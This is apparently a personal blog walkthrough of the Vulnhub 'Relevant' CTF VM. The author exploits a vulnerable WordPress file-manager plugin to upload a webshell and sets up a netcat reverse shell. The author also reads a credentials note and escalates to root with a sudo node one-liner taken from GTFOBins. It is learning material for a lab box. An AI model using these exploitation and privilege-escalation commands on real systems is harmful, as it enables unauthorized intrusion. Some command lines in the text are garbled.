This past weekend, I worked on Vulnhub's Relevant VM. I was ultimately unable to pwn the box without help. However, I'd already put in the effort to take thorough notes. I definitely learned some useful things from my failing. Perhaps you will too.

The walkthrough I used for the hints to get my over hurdles was this walkthrough by Shubham Kumar.

Alright, let's get into it.

nmap shows SSH and HTTP on the box. I doubt SSH will be much use so let's look at HTTP. Fire up dirb with dirb http://relevant.vh/ /usr/share/wordlists/dirb/big.txt -o dirb-big.txt and let that run in the background while I check what actually loads on the page.

I get an error message that I think is an old WordPress message. (Tabbing over to my dirb output confirms there's a WordPress there.)

Database Error on the target

The error message includes three URLs.

I have two different things those passwords could be good for (SSH and WordPress) so I'm going to skip to the QR code for now.

I could simply use my phones QR code reader but since that's not something I'd want to do in a real attack, I'll stick to the tools I can use inside my Kali VM. Some quick Googling suggests that ZBar should suit my needs. A quick install of zbar-tools and I'm off!

$ zbarimg google.png -q
QR-Code:otpauth://totp/[email protected]?secret=BTVB3SSDD4SZYUV7DXFPBCIFKY&issuer=relevant
Decoding the QR code

So I've got a TOTP secret.

I'd wait until I find where this is useful but while it's fresh in my mind, let's see if I can figure out how to use it without using my phone. This blog post recommends OATH Toolkit. Just a few minutes in and I'm on the second new tool I'm installing!

Running the recommended commands certainly outputs a key that's changing periodically. Whether it's what I want remains to be seen.

$ oathtool -b --totp 'BTVB3SSDD4SZYUV7DXFPBCIFKY'; \
> sleep 30; \
> oathtool -b --totp 'BTVB3SSDD4SZYUV7DXFPBCIFKY'
Testing getting a TOTP from the QR code's data

Getting back to dirb, it looks like all it found was that WordPress with a handful of plugins. Given that the error WordPress is having is due to being unable to connect to the database, I won't be able to login to WordPress. I suspect I'll need to login via SSH, fix the WordPress install, then do something in WordPress. Off to try SSH!

Before I start iterating over the password list, I'll focus on the users that sound interesting. webmaster is the most obvious candidates. Unfortunately, no joy using its password for SSH. Since patsy apparently has MFA, maybe that's who I should attack.

Logging in with patsy's password prompts me for a verification code. The previous oathtool command provides a code and...

This account is currently not available.
Connection to relevant.vh closed.
Well hell.

I guess it's time to just go through that whole user list. Given that it's a short list, I could certainly do this manually. However, I'd imagine a real list would be much longer and the whole point of this exercise is learning, so let's see if I can automate it. Unfortunately, a lot of responses to the question of logging in via SSH with a script are "use a key, dummy!" Fortunately this answer on Server Fault recommends sshpass, the third new tool I've installed today.

Update: It's been twenty minutes and I can't find a workable way to slice and dice that password file. For some reason, awk isn't outputting the whole column. I'm going back to doing things manually.

Going through things manually, I find that none of the passwords work for SSH except for patsy and I already know account isn't available. A cursory Google tells me that means that the error means that the account doesn't have a shell configured.

Back to the WordPress. I'll use WPScan to scan it. I'll need to use the force option as otherwise it won't recognize this broken WordPress. I'm likely looking for a plugin that doesn't require the database to have at least some functionality. Fortunately, WPScan not only finds these plugins, it even lets me know there's one with an RCE vulnerability!

$ wpscan --url http://relevant.vh --force --api-token $WP_SCAN_API_TOKEN --plugins-detection aggressive --enumerate ap
[+] wp-file-manager
 | Location: http://relevant.vh/wp-content/plugins/wp-file-manager/
 | Last Updated: 2020-09-14T19:30:00.000Z
 | Readme: http://relevant.vh/wp-content/plugins/wp-file-manager/readme.txt
 | [!] The version is out of date, the latest version is 6.9
 | Found By: Known Locations (Aggressive Detection)
 |  - http://relevant.vh/wp-content/plugins/wp-file-manager/, status: 200
 | [!] 1 vulnerability identified:
 | [!] Title: File Manager < 6.9 - Unauthenticated Arbitrary File Upload leading to RCE
 |     Fixed in: 6.9
 |     References:
 |      -
 |      -
 |      -
 |      -
 |      -
 |      -
 |      -
 | Version: 6.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://relevant.vh/wp-content/plugins/wp-file-manager/readme.txt
Finding a vulnerable plugin

WPSscan's writeup includes a link to a PoC (warning: direct link to a .py) that uploads whatever you put in payload.php . I grabbed the first webshell to appear on Google and fired off the PoC.

$ python3 http://relevant.vh
Just do it... URL: http://relevant.vh/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
Take a nap first zen FIRE ZE MISSILES

That output's a little off. The URL certainly doesn't load. I'm not really sure where it's coming from. Looking at the exploit code, it's getting the URL from the JSON returned by the vulnerable system.

if res.status_code ==
    d = res.json()
    p = d.get('added', [])[0].get('url')
Code that handles the URL output

For maximum laziness, I just fired up Wireshark to grab the JSON.

  "isowner": false,
  "ts": 1603397715,
  "mime": "text/x-php",
  "read": 1,
  "write": 1,
  "size": "7205",
  "hash": "l1_cGF5bG9hZC5waHA",
  "name": "payload.php",
  "phash": "l1_Lw",
  "url": "/../files/payload.php"
JSON returned by vulnerable system

Going up a directory from the vulnerable page we're hitting, then to files/payload.php gets me there.

From here I faffed around for a bit. I'll skip the things that weren't helpful to say that I checked /etc/passwd and saw that there's a user called h4x0r. I checked its home directory but couldn't find anything of use.

This is where I failed back to the walkthrough for the first time. h4x0r's home directory has a subdirectory called ..., which you'll miss if your ls doesn't include a -a). For the future, I'll either remember to ls -a or use find as the walkthrough did.

The ... directory contains a file called note.txt . That note has another set of credentials in it.

cat /home/h4x0r/.../note.txt
news : 4C7EB317A4F4322C325165B4217C436D6E0FA3F1
More creds

This user's /etc/passwd entry is interesting.


This user wouldn't normally have a shell set. So I'm betting that getting access as the news user is my next step.

At this point, I'm still trying to interact purely with that webshell. I pipe that password to su to see if it'll work.

echo "4C7EB317A4F4322C325165B4217C436D6E0FA3F1" | su - news -c "whoami"

No good.

Looking at that password for a bit, I realize it looks like a hash. I drop it into CrackStation and it outputs backdoorlover. Trying it again, whoami says I'm successful.

From here, I decide it's finally time to setup a reverse shell so I can stop putting things into the webshell. Unfortunately, nc on the target doesn't have the -e flag available. I found this blog post for piping data around and ultimately getting a reverse shell with netcat without the -e flag.

Unfortuantely, this is where I got stuck again. I looked for potential priviege escalation with setuid and found nothing. My next guess was that the news user would be able to run a command with sudo but I'm not able to sudo -l because the reverse shell I have isn't fully interactive. I fall back to the walkthrough which uses this php reverse shell. It works a treat.

$ nc -lvp 1234
listening on [any] 1234 ...
connect to [] from relevant.vh [] 50720
Linux relevant 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:49:57 up  1:33,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ su news
Password: backdoorlover
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo -lS
[sudo] password for news: backdoorlover
Matching Defaults entries for news on relevant:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User news may run the following commands on relevant:
    (ALL : ALL) /usr/bin/node
Finding what commands can be run via sudo

Oh hey, there's a thing called NodeJS, commonly referred to as "node" that won't make my Googles hard at all! :/

Searching "linux node command privilege escalation" returns GTFOBins' guide to privesc with the node command. (And puts GTFOBins into my bookmarks!)

sudo -S node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
[sudo] password for news: backdoorlover
ls ~
cat ~/root.txt
Using node for privilege escalation

Lessons Learned

  1. Reading QR codes with zbar-tools
  2. Generating TOTP with oath tool
  3. Look for dotfiles
  4. Use better reverse shells
  5. GTFOBins

This was the least I've ever had to lean on a walkthrough for a Vulnhub box. I'm looking forward to not needing one sometime soon!